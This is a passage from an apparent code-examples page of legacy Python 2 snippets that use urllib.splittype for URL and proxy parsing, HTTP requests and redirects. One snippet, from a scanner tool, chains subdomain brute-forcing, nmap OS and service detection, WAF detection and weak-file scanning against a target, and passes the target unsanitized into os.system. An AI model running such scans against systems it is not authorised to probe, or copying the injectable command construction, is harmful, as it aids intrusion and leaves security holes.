        the program used to encode (e.g. compress or gzip).  The
        mappings are table driven.  Encoding suffixes are case
        sensitive; type suffixes are first tried case sensitive, then
        case insensitive.

        The suffixes .tgz, .taz and .tz (case sensitive!) are all
        mapped to '.tar.gz'.  (This is table-driven too, using the
        dictionary suffix_map.)

        Optional `strict' argument when False adds a bunch of commonly found,
        but non-standard types.
        """
        scheme, url = urllib.splittype(url)
        if scheme == 'data':
            # syntax of data URLs:
            # dataurl   := "data:" [ mediatype ] [ ";base64" ] "," data
            # mediatype := [ type "/" subtype ] *( ";" parameter )
            # data      := *urlchar
            # parameter := attribute "=" value
            # type/subtype defaults to "text/plain"
            comma = url.find(',')
            if comma < 0:
                # bad data URL
                return None, None
            semi = url.find(';', 0, comma)
            if semi >= 0:
                type = url[:semi]
            else:
                type = url[:comma]
            if '=' in type or '/' not in type:
                type = 'text/plain'
            return type, None  # never compressed, so encoding is None
        base, ext = posixpath.splitext(url)
        while ext in self.suffix_map:
            base, ext = posixpath.splitext(base + self.suffix_map[ext])
        if ext in self.encodings_map:
            encoding = self.encodings_map[ext]
            base, ext = posixpath.splitext(base)
        else:
            encoding = None
        types_map = self.types_map[True]
        if ext in types_map:
            return types_map[ext], encoding
        elif ext.lower() in types_map:
            return types_map[ext.lower()], encoding
        elif strict:
            return None, encoding
        types_map = self.types_map[False]
        if ext in types_map:
            return types_map[ext], encoding
        elif ext.lower() in types_map:
            return types_map[ext.lower()], encoding
        else:
            return None, encoding
Esempio n. 36
0
    def _parse_proxy(self, proxy):
        """Return (scheme, user, password, host/port) given a URL or an authority.

    If a URL is supplied, it must have an authority (host:port) component.
    According to RFC 3986, having an authority component means the URL must
    have two slashes after the scheme:

    >>> _parse_proxy('file:/ftp.example.com/')
    Traceback (most recent call last):
    ValueError: proxy URL with no authority: 'file:/ftp.example.com/'

    The first three items of the returned tuple may be None.

    Examples of authority parsing:

    >>> _parse_proxy('proxy.example.com')
    (None, None, None, 'proxy.example.com')
    >>> _parse_proxy('proxy.example.com:3128')
    (None, None, None, 'proxy.example.com:3128')

    The authority component may optionally include userinfo (assumed to be
    username:password):

    >>> _parse_proxy('joe:[email protected]')
    (None, 'joe', 'password', 'proxy.example.com')
    >>> _parse_proxy('joe:[email protected]:3128')
    (None, 'joe', 'password', 'proxy.example.com:3128')

    Same examples, but with URLs instead:

    >>> _parse_proxy('http://proxy.example.com/')
    ('http', None, None, 'proxy.example.com')
    >>> _parse_proxy('http://proxy.example.com:3128/')
    ('http', None, None, 'proxy.example.com:3128')
    >>> _parse_proxy('http://*****:*****@proxy.example.com/')
    ('http', 'joe', 'password', 'proxy.example.com')
    >>> _parse_proxy('http://*****:*****@proxy.example.com:3128')
    ('http', 'joe', 'password', 'proxy.example.com:3128')

    Everything after the authority is ignored:

    >>> _parse_proxy('ftp://*****:*****@proxy.example.com/rubbish:3128')
    ('ftp', 'joe', 'password', 'proxy.example.com')

    Test for no trailing '/' case:

    >>> _parse_proxy('http://*****:*****@proxy.example.com')
    ('http', 'joe', 'password', 'proxy.example.com')

    """
        scheme, r_scheme = splittype(proxy)
        if not r_scheme.startswith("/"):
            # authority
            scheme = None
            authority = proxy
        else:
            # URL
            if not r_scheme.startswith("//"):
                raise ValueError("proxy URL with no authority: %r" % proxy)
            # We have an authority, so for RFC 3986-compliant URLs (by ss 3.
            # and 3.3.), path is empty or starts with '/'
            end = r_scheme.find("/", 2)
            if end == -1:
                end = None
            authority = r_scheme[2:end]
        userinfo, hostport = splituser(authority)
        if userinfo is not None:
            user, password = splitpasswd(userinfo)
        else:
            user = password = None
        return scheme, user, password, hostport
Esempio n. 37
0
#
Esempio n. 38
0
def split_url(url):
    """Splits a url into (uri_scheme, host[:port], path)"""
    scheme, remainder = splittype(url)
    host, path = splithost(remainder)
    return scheme.lower(), host, path
Esempio n. 39
0
 def extract_hostname(url):
     proto, rest = urllib.splittype(url)
     host, rest = urllib.splithost(rest)
     return host
Esempio n. 40
0
class MyFancyUrlopener(urllib.FancyURLopener):
    def retrieve(self, url, filename=None, reporthook=None, data=None):
        """retrieve(url) returns (filename, headers) for a local object
        or (tempfilename, headers) for a remote object."""
        url = urllib.unwrap(urllib.toBytes(url))
        if self.tempcache and url in self.tempcache:
            return self.tempcache[url]
        type, url1 = urllib.splittype(url)
        if filename is None and (not type or type == 'file'):
            try:
                fp = self.open_local_file(url1)
                hdrs = fp.info()
                del fp
                return urllib.url2pathname(urllib.splithost(url1)[1]), hdrs
            except IOError, msg:
                pass
        fp = self.open(url, data)
        try:
            headers = fp.info()
            code = fp.code
            if filename:
                tfp = open(filename, 'wb')
            else:
                import tempfile
                garbage, path = urllib.splittype(url)
                garbage, path = urllib.splithost(path or "")
                path, garbage = urllib.splitquery(path or "")
                path, garbage = urllib.splitattr(path or "")
                suffix = os.path.splitext(path)[1]
                (fd, filename) = tempfile.mkstemp(suffix)
                self.__tempfiles.append(filename)
                tfp = os.fdopen(fd, 'wb')
            try:
                result = filename, headers, code
                if self.tempcache is not None:
                    self.tempcache[url] = result
                bs = 1024 * 8
                size = -1
                read = 0
                blocknum = 0
                if reporthook:
                    if "content-length" in headers:
                        size = int(headers["Content-Length"])
                    reporthook(blocknum, bs, size)
                while 1:
                    block = fp.read(bs)
                    if block == "":
                        break
                    read += len(block)
                    tfp.write(block)
                    blocknum += 1
                    if reporthook:
                        reporthook(blocknum, bs, size)
            finally:
                tfp.close()
        finally:
            fp.close()
        del fp
        del tfp

        # raise exception if actual size does not match content-length header
        if size >= 0 and read < size:
            raise urllib.ContentTooShortError(
                "retrieval incomplete: got only %i out "
                "of %i bytes" % (read, size), result)

        return result
Esempio n. 41
0
 def __init__(self, uri):
     self.uri = uri
     self.headers = Headers()
     self.type, rest = splittype(self.uri)
     self.host, rest = splithost(rest)
Esempio n. 42
0
def task(target, hash):
    path = 'C:\WDScanner\WWW\TaskPython\TaskInfo\\'
    logpath = 'C:\WDScanner\WWW\TaskPython\TaskInfo\loginfo\\' + hash + '\\'
    print logpath
    if not os.path.exists(logpath):
        os.mkdir(logpath)
    pwd = os.getcwd()
    open(logpath + hash + '-domain.txt', 'w').close()
    open(logpath + hash + '-subdomain.txt', 'w').close()
    open(logpath + hash + '-nmap.txt', 'w').close()
    open(logpath + hash + '-wyspider.txt', 'w').close()
    open(logpath + hash + '-whatweb.txt', 'w').close()
    open(logpath + hash + '-whatcms.txt', 'w').close()
    open(logpath + hash + '-waf.txt', 'w').close()
    open(logpath + hash + '-bugscancms.txt', 'w').close()
    open(logpath + hash + '-bbscan.txt', 'w').close()

    try:
        print target

        os.chdir(path)

        print "-------------domain_start-------------"
        url = target
        if url[0:4] == 'http':
            proto, rest = urllib.splittype(url)
            host, rest = urllib.splithost(rest)
            if host[0:3] == 'www':
                host = host[4:]
        elif url[0:3] == 'www':
            host = url[4:]
        else:
            host = url

        if ':' in host:
            host = host.split(':')[0]

        #从本地目录中检索目标子域名是否已经枚举过,如果枚举过则直接使用该文件。
        domain_flag = 0
        file_list = []
        for r, d, f in os.walk(path + 'loginfo\\'):
            for files in f:
                file = "%s\%s" % (r, files)
                if 'domain.txt' in file:
                    file_list.append(file)
        for domain_file in file_list:
            domain_file_content = open(domain_file, 'r').read()
            # print domain_file
            if host in domain_file_content:
                print domain_file
                domain_flag = 1
                if 'domain' in domain_file:
                    shutil.copy(domain_file, logpath + hash + '-domain.txt')
                if 'subdomain' in domain_file:
                    shutil.copy(domain_file, logpath + hash + '-subdomain.txt')

        if (domain_flag == 0):
            domain = 'python ' + path + 'wydomain\wydomain.py -d ' + host + ' -o ' + logpath + hash + '-domain.txt'
            print domain
            os.system(domain)
            print "+++++++++++++domain_ok+++++++++++++"

        #print "-------------whatcms_start-------------"

        #whatcms = 'python ' + path + 'whatcms.py ' + target + ' ' + logpath + hash + '-whatcms.txt '
        #print whatcms
        #os.system(whatcms)
        #print "+++++++++++++whatcms_ok+++++++++++++"

        #print "-------------bugscancms_start-------------"
        # print os.getcwd()
        #bugscancms = 'python ' + path + 'bugscan-cms.py ' + target + ' ' + logpath + hash + '-bugscancms.txt '
        #print bugscancms
        #os.system(bugscancms)
        #print "+++++++++++++bugscancms_ok+++++++++++++"

        print "-------------nmap_start-------------"
        url1 = target
        if url1[0:4] == 'http':
            proto, rest = urllib.splittype(url1)
            host1, rest = urllib.splithost(rest)
        else:
            host1 = url1
        if ':' in host1:
            host1 = host1.split(':')[0]

        nmap = 'nmap.exe -oN ' + logpath + hash + '-nmap.txt  -sT -sV -O --script=banner --top-port 200  ' + host1
        # nmap = 'nmap.exe -oN ' + logpath + hash + '-nmap.txt  -sT -P0 -sV -O --script=banner -p T:80,3306,22,3389 '+ host1

        print nmap
        os.system(nmap)
        print "+++++++++++++nmap_ok+++++++++++++"

        print "-------------whatweb_start-------------"
        whatweb = 'ruby ' + path + 'whatweb\whatweb --log-brief=' + logpath + hash + '-whatweb.txt ' + target
        print whatweb
        os.system(whatweb)
        print "+++++++++++++whatweb_ok+++++++++++++"

        print "-------------waf_start-------------"
        waf = 'python ' + path + 'wafw00f\wafw00f\\bin\wafw00f ' + target + ' >> ' + logpath + hash + '-waf.txt '
        print waf
        os.system(waf)
        print "+++++++++++++waf_ok+++++++++++++"

        try:
            if (domain_flag == 0):
                print "-------------subdomain_start-------------"
                os.chdir(path + '\subDomainsBrute-master\\')
                subdomain = 'python ' + path + 'subDomainsBrute-master\subDomainsBrute.py  ' + host + ' --out ' + logpath + hash + '-subdomain.txt'
                print subdomain
                os.system(subdomain)
                print "+++++++++++++subdomain_ok+++++++++++++"
        except:
            pass

        try:
            print "-------------weakfile_start-------------"
            os.chdir(path + '\BBScan\\')
            bbscan = 'python ' + path + 'BBScan\BBScan.py --host ' + target + ' --no-browser --out ' + logpath + hash + '-bbscan.txt '
            print bbscan
            #os.system(bbscan)

            os.chdir(path + '\weakfilescan\\')
            wyspider = 'python ' + path + 'weakfilescan\wyspider.py ' + target + ' ' + logpath + hash + '-wyspider.txt '
            print wyspider
            os.system(wyspider)

            print "+++++++++++++weakfile_ok+++++++++++++"
        except:
            pass

    except Exception, e:
        print e
        pass
Esempio n. 43
0
    def get_repository(self, repos_type, repos_dir, authname):

        assert repos_type == 'perforce'

        import urllib
        urltype, url = urllib.splittype(repos_dir)
        assert urltype == 'p4' or url == 'p4'

        options = dict(self.config.options('perforce'))
        if urltype != None:
            machine, path_query = urllib.splithost(url)
            user_passwd, host_port = urllib.splituser(machine)
            user, password = urllib.splitpasswd(user_passwd)
            self._update_option(options, 'port', host_port)
            self._update_option(options, 'password', password)
            self._update_option(options, 'user', user)

            path, query = urllib.splitquery(path_query)
            if path and path != '':
                for attr in self._splitattributes(query):
                    key, val = urllib.splitvalue(attr)
                    self._update_option(options, key, val)
            self._update_option(options, 'path', path)
            self.log.debug("get_repository options : %s" % (options))

        if 'port' not in options:
            raise TracError(
                message="Missing 'port' value in [perforce] config section.",
                title="TracPerforce configuration error",
            )

        # Try to connect to the Perforce server
        from perforce import Connection, ConnectionFailed
        p4 = Connection(
            port=options['port'],
            api='58',  # Limit to 2005.2 behaviour
        )
        try:
            from trac import __version__ as tracVersion
            p4.connect(prog='Trac', version=tracVersion)
        except ConnectionFailed:
            raise TracError(
                message="Could not connect to Perforce repository.",
                title="Perforce connection error",
            )

        if 'user' not in options:
            raise TracError(
                message="Missing 'user' value in [perforce] config section.",
                title="Perforce configuration error",
            )
        p4.user = options['user']

        if 'password' in options:
            p4.password = options['password']
        else:
            p4.password = ''

        if 'unicode' in options:
            if options['unicode'] == '1':
                p4.charset = 'utf8'
            elif options['unicode'] == '0':
                p4.charset = 'none'
            else:
                raise TracError(
                    message="Invalid 'unicode' value in [perforce] config " \
                    "section.",
                    title="Perforce configuration error",
                    )
        else:
            p4.charset = 'none'

        if 'language' in options:
            p4.language = options['language']
        else:
            p4.language = ''

        jobPrefixLength = 3  # default value because by default prefix is 'job'
        if 'job_prefix' in options:
            jobPrefixLength = len(options['job_prefix'])

        p4.client = ''

        repos = PerforceRepository(p4, self.log, jobPrefixLength)

        from trac.versioncontrol.cache import CachedRepository
        return PerforceCachedRepository(self.env.get_db_cnx(), repos, None,
                                        self.log)
Esempio n. 44
0
 def parse_host(self):
     proto, rest = urllib.splittype(self.get_host())
     host, rest = urllib.splithost(rest)
     host, port = urllib.splitport(host)
     return host
Esempio n. 45
0
def get_url_host(url):
    proto, rest = urllib.splittype(url)
    host, rest = urllib.splithost(rest)
    return host
Esempio n. 46
0
    def do_open(self, http_class, req):
        data = req.get_data()
        v_files = []
        v_vars = []
        # mapping object (dict)
        if req.has_data() and type(data) != str:
            if hasattr(data, 'items'):
                data = data.items()
            else:
                try:
                    if len(data) and not isinstance(data[0], tuple):
                        raise TypeError
                except TypeError:
                    ty, va, tb = sys.exc_info()
                    raise TypeError, "not a valid non-string sequence or mapping object", tb
                
            for (k, v) in data:
                # if fd is provided with a filename
                if isinstance(v, dict):
                    if not v.has_key('fd'):
                        raise TypeError("if value is dict, it must have keys 'fd' and 'filename")
                    if not v.has_key('filename'):
                        raise TypeError("if value is dict, it must have keys 'fd' and 'filename")
                    v_files.append( (k, v) )
                elif hasattr(v, 'read'):
                    v_files.append( (k, v) )
                else:
                    v_vars.append( (k, v) )
        # no file ? convert to string
        if len(v_vars) > 0 and len(v_files) == 0:
            data = urllib.urlencode(v_vars)
            v_files = []
            v_vars = []
        host = req.get_host()
        if not host:
            raise urllib2.URLError('no host given')
        h = http_class(host) # will parse host:port
        if req.has_data():
            h.putrequest(req.get_method(), req.get_selector())
            if not 'Content-type' in req.headers:
                if len(v_files) > 0:
                    boundary = mimetools.choose_boundary()
                    l = send_data(v_vars, v_files, boundary)
                    h.putheader('Content-Type',
                                'multipart/form-data; boundary=%s' % boundary)
                    h.putheader('Content-length', str(l))
                else:
                    h.putheader('Content-type',
                                'application/x-www-form-urlencoded')
                    if not 'Content-length' in req.headers:
                        h.putheader('Content-length', '%d' % len(data))
        else:
            h.putrequest(req.get_method(), req.get_selector())

        scheme, sel = urllib.splittype(req.get_selector())
        sel_host, sel_path = urllib.splithost(sel)
        h.putheader('Host', sel_host or host)
        for name, value in self.parent.addheaders:
            name = name.capitalize()
            if name not in req.headers:
                h.putheader(name, value)
        for k, v in req.headers.items():
            h.putheader(k, v)
        # httplib will attempt to connect() here.  be prepared
        # to convert a socket error to a URLError.
        try:
            h.endheaders()
        except socket.error, err:
            raise urllib2.URLError(err)
Esempio n. 47
0
def get_video_play_page(tweet_id):
    video_play_url = "https://api.twitter.com/1.1/videos/tweet/config/%s.json" % tweet_id
    header_list = {
        "authorization": "Bearer " + AUTHORIZATION,
        "x-csrf-token": COOKIE_INFO["ct0"],
    }
    video_play_response = net.http_request(video_play_url,
                                           method="GET",
                                           cookies_list=COOKIE_INFO,
                                           header_list=header_list,
                                           json_decode=True)
    result = {
        "video_url": None,  # 视频地址
    }
    if video_play_response.status != net.HTTP_RETURN_CODE_SUCCEED:
        raise crawler.CrawlerException(
            crawler.request_failre(video_play_response.status))
    if not crawler.check_sub_key(("track", ), video_play_response.json_data):
        raise crawler.CrawlerException("返回信息'track'字段不存在\n%s" %
                                       video_play_response.json_data)
    if not crawler.check_sub_key(
        ("playbackUrl", ), video_play_response.json_data["track"]):
        raise crawler.CrawlerException("返回信息'playbackUrl'字段不存在\n%s" %
                                       video_play_response.json_data["track"])
    file_url = str(video_play_response.json_data["track"]["playbackUrl"])
    file_type = file_url.split("?")[0].split(".")[-1]
    # m3u8文件,需要再次访问获取真实视频地址
    # https://api.twitter.com/1.1/videos/tweet/config/996368816174084097.json
    if file_type == "m3u8":
        file_url_protocol, file_url_path = urllib.splittype(file_url)
        file_url_host = urllib.splithost(file_url_path)[0]
        m3u8_file_response = net.http_request(file_url, method="GET")
        # 没有权限,可能是地域限制
        if m3u8_file_response.status == 403:
            return result
        elif m3u8_file_response.status != net.HTTP_RETURN_CODE_SUCCEED:
            raise crawler.CrawlerException(
                "m3u8文件 %s 访问失败,%s" %
                (file_url, crawler.request_failre(m3u8_file_response.status)))
        include_m3u8_file_list = re.findall("(/[\S]*.m3u8)",
                                            m3u8_file_response.data)
        if len(include_m3u8_file_list) > 0:
            # 生成最高分辨率视频所在的m3u8文件地址
            file_url = "%s://%s%s" % (file_url_protocol, file_url_host,
                                      include_m3u8_file_list[-1])
            m3u8_file_response = net.http_request(file_url, method="GET")
            if m3u8_file_response.status != net.HTTP_RETURN_CODE_SUCCEED:
                raise crawler.CrawlerException(
                    "最高分辨率m3u8文件 %s 访问失败,%s" %
                    (file_url, crawler.request_failre(
                        m3u8_file_response.status)))
        # 包含分P视频文件名的m3u8文件
        ts_url_find = re.findall("(/[\S]*.ts)", m3u8_file_response.data)
        if len(ts_url_find) == 0:
            raise crawler.CrawlerException("m3u8文件截取视频地址失败\n%s\n%s" %
                                           (file_url, m3u8_file_response.data))
        result["video_url"] = []
        for ts_file_path in ts_url_find:
            result["video_url"].append(
                "%s://%s%s" %
                (file_url_protocol, file_url_host, str(ts_file_path)))
    # 直接是视频地址
    # https://api.twitter.com/1.1/videos/tweet/config/996368816174084097.json
    else:
        result["video_url"] = file_url
    return result
Esempio n. 48
0
def url_www(
    url
):  #URL地址中提取网址  http://www.bizschool.cn/plus/90sec.php        www.bizschool.cn
    proto, rest = urllib.splittype(url)
    host, rest = urllib.splithost(rest)
    return host
Esempio n. 49
0
def get_base_url(full_url):
    proto, l = urllib.splittype(full_url)
    host, l = urllib.splithost(l)
    return "%s://%s" % (proto, host)
Esempio n. 50
0
 def beforeTearDown(self):
     url_parts = urllib.splittype(self._old_request_url)
     self.portal.REQUEST.setServerURL(*url_parts)
Esempio n. 51
0
def protocol_access(url, mode, params, data=None):
    scheme, resturl = splittype(url)
    if not scheme:
        raise IOError("protocol error", "no scheme identifier in URL", url)
    scheme = str.lower(scheme)
    sanitized = regsub.gsub("[^a-zA-Z0-9]", "_", scheme)
    #
    # Check first to see if proxies are enabled
    manual_proxy_enabled = grailutil.pref_or_getenv('manual_proxy_enabled',
                                                    type_name='int')

    app = grailutil.get_grailapp()
    if manual_proxy_enabled:
        proxy_name = sanitized + "_proxy"
        if manual_proxy_enabled == -1:
            #
            # We should only get here when there are no user preferences
            # for proxies, which should only happen once... so check the
            # environment for the rest of the known scheme proxy env vars
            # and load them into prefs if they exist.
            app.prefs.Set('proxies', 'manual_proxy_enabled', 0)
            proxy = None
            for next_proxy_name in VALID_PROXIES:
                next_proxy = grailutil.pref_or_getenv(next_proxy_name,
                                              check_ok=VALID_PROXIES)
                if next_proxy:
                    app.prefs.Set('proxies', 'manual_proxy_enabled', 1)
                    
                if next_proxy_name == proxy_name:
                    proxy = next_proxy
                    
            no_proxy_enabled = grailutil.pref_or_getenv('no_proxy_enabled',
                                                        type_name='int')
            if no_proxy_enabled == -1:
                no_proxy = grailutil.pref_or_getenv('no_proxy')
            if no_proxy:
                app.prefs.Set('proxies', 'no_proxy_enabled', 1)
            else:
                app.prefs.Set('proxies', 'no_proxy_enabled', 0)
        else:   
            proxy = grailutil.pref_or_getenv(proxy_name,
                                             check_ok=VALID_PROXIES)
    else:
        proxy = None
        
    if proxy:
        if not valid_proxy(proxy):
            error = 'Invalid proxy: ' + proxy
            raise IOError, error
        no_proxy_enabled = grailutil.pref_or_getenv('no_proxy_enabled',
                                                    type_name='int')
        if no_proxy_enabled:
            no_proxy = grailutil.pref_or_getenv('no_proxy')
        else:
            no_proxy = None
            
        do_proxy = 1
        if no_proxy:
            list = map(str.strip, str.split(no_proxy, ","))
            url_host, url_remains = splithost(resturl)
            url_host = str.lower(url_host or '')
            if proxy_exception(url_host, list):
                do_proxy = 0
            else:
                url_host, url_port = splitport(url_host)
                if proxy_exception(url_host, list):
                    do_proxy = 0
        if do_proxy:
            proxy_scheme, proxy_resturl = splittype(proxy)
            proxy_host, proxy_remains = splithost(proxy_resturl)
            resturl = (proxy_host, url)
            scheme = str.lower(proxy_scheme)
            sanitized = regsub.gsub("[^a-zA-Z0-9]", "_", scheme)
##          print "Sending", url
##          print "     to", scheme, "proxy", proxy_host
    modname = sanitized + "API"
    app = grailutil.get_grailapp()
    access = app.find_extension('protocols', sanitized).access
    if not access:
        raise IOError("protocol error", "no class for %s" % scheme)
    try:
        if data:
            return access(resturl, mode, params, data)
        else:
            return access(resturl, mode, params)
    except socket.error as msg:
        raise IOError("socket error", msg)
Esempio n. 52
0
 def is_local_path(self):
     urllib.splittype(self.get_uri() or "")[0] in (None, "file")
Esempio n. 53
0
 def _new_req_body(self):
     type, tmpuri = urllib.splittype(self._redirected)
     site, handler = urllib.splithost(tmpuri)
     return handler
Esempio n. 54
0
 def GetHost(self,url):
     proto,rest=urllib.splittype(url)
     host,rest=urllib.splithost(rest)
     return host
Esempio n. 55
0
 def getdomain(self):
     proto, rest = urllib.splittype(self.link)
     host, rest = urllib.splithost(rest)
     return host
Esempio n. 56
0
    def _request(self, methodname, params):
        """ Call a method on the remote server
            we can handle redirections. """
        # the loop is used to handle redirections
        redirect_response = 0
        retry = 0

        self._reset_host_handler_and_type()

        while 1:
            if retry >= MAX_REDIRECTIONS:
                raise InvalidRedirectionError(
                    "Unable to fetch requested Package")

            # Clear the transport headers first
            self._transport.clear_headers()
            for k, v in self._headers.items():
                self._transport.set_header(k, v)

            self._transport.add_header(
                "X-Info", 'RPC Processor (C) Red Hat, Inc (version %s)' %
                self.rpc_version)
            # identify the capability set of this client to the server
            self._transport.set_header("X-Client-Version", 1)

            if self._allow_redirect:
                # Advertise that we follow redirects
                #changing the version from 1 to 2 to support backward compatibility
                self._transport.add_header("X-RHN-Transport-Capability",
                                           "follow-redirects=3")

            if redirect_response:
                self._transport.add_header('X-RHN-Redirect', '0')
                if self.send_handler:
                    self._transport.add_header('X-RHN-Path', self.send_handler)

            request = self._req_body(self._strip_characters(params),
                                     methodname)

            try:
                response = self._transport.request(self._host, \
                                self._handler, request, verbose=self._verbose)
                save_response = self._transport.response_status
            except xmlrpclib.ProtocolError, pe:
                if self.use_handler_path:
                    raise
                else:
                    save_response = pe.errcode

            self._redirected = None
            retry += 1
            if save_response == 200:
                # exit redirects loop and return response
                break
            elif save_response not in (301, 302):
                # Retry pkg fetch
                self.use_handler_path = 1
                continue
            # rest of loop is run only if we are redirected (301, 302)
            self._redirected = self._transport.redirected()
            self.use_handler_path = 0
            redirect_response = 1

            if not self._allow_redirect:
                raise InvalidRedirectionError("Redirects not allowed")

            if self._verbose:
                print "%s redirected to %s" % (self._uri, self._redirected)

            typ, uri = urllib.splittype(self._redirected)

            if typ != None:
                typ = typ.lower()
            if typ not in ("http", "https"):
                raise InvalidRedirectionError(
                    "Redirected to unsupported protocol %s" % typ)

            #
            # We forbid HTTPS -> HTTP for security reasons
            # Note that HTTP -> HTTPS -> HTTP is allowed (because we compare
            # the protocol for the redirect with the original one)
            #
            if self._type == "https" and typ == "http":
                raise InvalidRedirectionError(
                    "HTTPS redirected to HTTP is not supported")

            self._host, self._handler = urllib.splithost(uri)
            if not self._handler:
                self._handler = "/RPC2"

            # Create a new transport for the redirected service and
            # set up the parameters on the new transport
            del self._transport
            self._transport = self.default_transport(typ, self._proxy,
                                                     self._username,
                                                     self._password,
                                                     self._timeout)
            self.set_progress_callback(self._progressCallback)
            self.set_refresh_callback(self._refreshCallback)
            self.set_buffer_size(self._bufferSize)
            self.setlang(self._lang)

            if self._trusted_cert_files != [] and \
                hasattr(self._transport, "add_trusted_cert"):
                for certfile in self._trusted_cert_files:
                    self._transport.add_trusted_cert(certfile)
Esempio n. 57
0
        usage()
        sys.exit()
        pass
    # ... check the URL, then
    elif not extra[0].startswith("ssh://"):
        print "Invalid url: " + extra[0]
        usage()
        sys.exit(2)
        pass
    # ... probe the URL or
    elif len(extra) == 1:
        try:
            st = SSHTransport(user_agent=user_agent,
                              ssh_identity=ssh_identity,
                              ssh_opts=ssh_opts)
            type, uri = urllib.splittype(extra[0])
            host, handler = urllib.splithost(uri)
            rc = st.probe(host, handler, {"date": time.ctime(time.time())},
                          verbose)
            secs = time.mktime(time.strptime(rc["date"]))

            print "Probe results for: " + extra[0]
            print "  response time=%.2f s" % (time.time() - secs)
            print "Response Headers"
            for pair in rc.items():
                print "  %s: %s" % pair
                pass
            pass
        except BadResponse, e:
            print("sshxmlrpc.py: error - bad response from " + extra[0] +
                  "; " + e[2])
Esempio n. 58
0
 def _getDomain(self, url):
     proto, rest = urllib.splittype(url)
     host, rest = urllib.splithost(rest)
     return host
Esempio n. 59
0
 def get_type(self):
     if self.type is None:
         self.type, self.__r_type = splittype(self.__original)
         if self.type is None:
             raise ValueError, "unknown url type: %s" % self.__original
     return self.type
Esempio n. 60
0
    def open_http(self, url, data=None):
        """Use HTTP protocol."""
        import httplib
        user_passwd = None
        if type(url) is type(""):
            host, selector = splithost(url)
            if host:
                user_passwd, host = splituser(host)
                host = unquote(host)
            realhost = host
        else:
            host, selector = url
            urltype, rest = splittype(selector)
            url = rest
            user_passwd = None
            if string.lower(urltype) != 'http':
                realhost = None
            else:
                realhost, rest = splithost(rest)
                if realhost:
                    user_passwd, realhost = splituser(realhost)
                if user_passwd:
                    selector = "%s://%s%s" % (urltype, realhost, rest)
            #print "proxy via http:", host, selector
        if not host: raise IOError, ('http error', 'no host given')
        if user_passwd:
            import base64
            auth = string.strip(base64.encodestring(user_passwd))
        else:
            auth = None
        h = httplib.HTTP(host)
        if data is not None:
            h.putrequest('POST', selector)
            h.putheader('Content-type', 'application/x-www-form-urlencoded')
            h.putheader('Content-length', '%d' % len(data))
        else:
            h.putrequest('GET', selector)
        for cookie in self.cookies.items():
            h.putheader('Cookie', '%s=%s;' % cookie)

        if auth: h.putheader('Authorization', 'Basic %s' % auth)
        if realhost: h.putheader('Host', realhost)
        for args in self.addheaders:
            apply(h.putheader, args)
        h.endheaders()
        if data is not None:
            h.send(data + '\r\n')
        errcode, errmsg, headers = h.getreply()
        if headers and headers.has_key('set-cookie'):
            cookies = headers.getallmatchingheaders('set-cookie')
            for cookie in cookies:
                self.cookies.load(cookie)

        fp = h.getfile()
        if errcode == 200:
            return addinfourl(fp, headers, "http:" + url)
        else:
            if data is None:
                return self.http_error(url, fp, errcode, errmsg, headers)
            else:
                return self.http_error(url, fp, errcode, errmsg, headers, data)